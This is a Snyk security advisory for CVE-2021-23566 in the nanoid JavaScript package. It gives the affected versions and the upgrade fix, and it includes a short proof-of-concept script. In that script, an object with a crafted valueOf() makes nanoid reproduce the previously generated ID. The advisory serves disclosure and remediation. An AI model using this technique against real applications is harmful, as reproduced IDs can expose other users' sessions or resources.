Information Exposure Affecting nanoid package, versions >=3.0.0 <3.1.31
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Test your applications- Snyk IDSNYK-JS-NANOID-2332193
- published12 Jan 2022
- disclosed11 Jan 2022
- creditArtyom Arutyunyan
Introduced: 11 Jan 2022
CVE-2021-23566 (opens in a new tab)How to fix?
Upgrade nanoid to version 3.1.31 or higher.
Overview
Affected versions of this package are vulnerable to Information Exposure via the valueOf() function which allows to reproduce the last id generated.
PoC
import { nanoid } from 'nanoid';
const makeProxyNumberToReproducePreviousID = () => {
let step = 0;
return {
valueOf() {
// // if (!pool || pool.length < bytes) {
if (step === 0) {
step++;
return 0;
}
// } else if (poolOffset + bytes > pool.length) {
if (step === 1) {
step++;
return -Infinity;
}
// poolOffset += bytes
if (step === 2) {
step++;
return 0;
}
return 21;
},
};
};
const ID1 = nanoid();
const ID2 = nanoid(makeProxyNumberToReproducePreviousID());
console.log({ ID1, ID2, isIDsEqual: ID1 === ID2 });